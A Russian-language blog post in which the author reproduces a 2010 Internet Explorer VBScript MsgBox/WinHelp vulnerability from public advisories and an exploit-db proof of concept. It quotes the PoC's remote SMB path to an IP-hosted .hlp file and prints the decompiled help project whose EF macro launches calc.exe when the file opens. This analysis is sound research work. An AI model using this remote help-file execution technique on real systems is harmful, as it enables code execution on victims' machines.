Утром коллега сообщил о новой уязвимости в IE связанной с VBScript. Новость была с Хабра, поэтому сразу пошел смотреть подробности:
http://habrahabr.ru/blogs/infosecurity/86069/ редиректит нас на
http://focus.ua/tech/103699 где, в сущности, нет ничего конкретного по технической стороне вопроса, что было вполне предсказуемо.
Идем на СекуЛаб и быстро находим нужное -
http://www.securitylab.ru/news/391250.php. Ага!
Исследователь Maurycy Prodeus опубликовал в пятницу PoC код, демонстрирующий эксплуатацию уязвимости в VBScript функция MsgBox()
Смотрим ссылки по теме:
http://www.securitylab.ru/vulnerability/391247.php, далее
http://blogs.technet.com/msrc/archive/2010/02/28/i...d-internet-explorer-issue.aspx - не то, далее
http://www.isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt - вот оно!
Proof-of-Concept is available here:
http://isec.pl/poc-isec27/
Второй тест проходит успешно - winhlp32.exe крэшится как надо, а вот с Calc.exe проблемы: big = "\\184.73.14.110\PUBLIC\test.hlp" не найден =\
Немного погуглив, находим
http://www.exploit-db.com/exploits/11615 и архив с искомым файлом:
===============================================================
A copy of test.hlp can be downloaded from here:
http://www.exploit-db.com/sploits/msgbox_test_help.zip
===============================================================
Скачиваем, проверяем - работает! Калькулятор успешно запустился! Но как?..
Начинаем копать: недолгие поиски привели к софтине
HelpScribble. Для декомпиляции .hlp файла она посоветовала воспользоваться
декомпиллером. Отлично! Качаем, запускаем, распаковываем test.hlp. На выходе два файла - test.rtf и test.hpj. Первый нам не нужен - он все равно пустой, а вот во втором мы находим искомое:
[OPTIONS]
LCID=0x409 0x0 0x0
COMPRESS=0
[CONFIG]
EF("C:\\WINDOWS\\calc.exe",`',1)
[FILES]
TEST.RTF
[MAP]
21KSYK4 1
Еще немного поисков и находим нужное -
http://www.stcsig.org/oi/hyperviews/resources/winhelp_faq/whfaq_qa.htm
...
[3.1.8] Can I link to a URL (web site) from a help file? How?
There are a number of DLLs available for launching a web browser and displaying a web page. The DLLs are good when users don't have a default browser specified. If your users are relatively up to date, you can get away with a simple macro:
ExecFile(`http://www.mysite.net/default.html',,0,)
will usually do the trick. Both Netscape and Microsoft browsers will set up the files needed to launch a URL from the command line. The ExecFile macro just takes advantage of this capability. (Hint: From the Start menu, select Run, and then enter a URL. Click OK, and your browser should launch directly to the page you specified.)
...
Подробнее по ссылке - http://help.adobe.com/en_US/RoboHelp/Rword/7.0/mer...ELP_ExecFile_WinHelp_macro.htm
Help Workshop automatically converts the ExecFile macro to EF.
Вот и все! =) На все про все ушло не более получаса.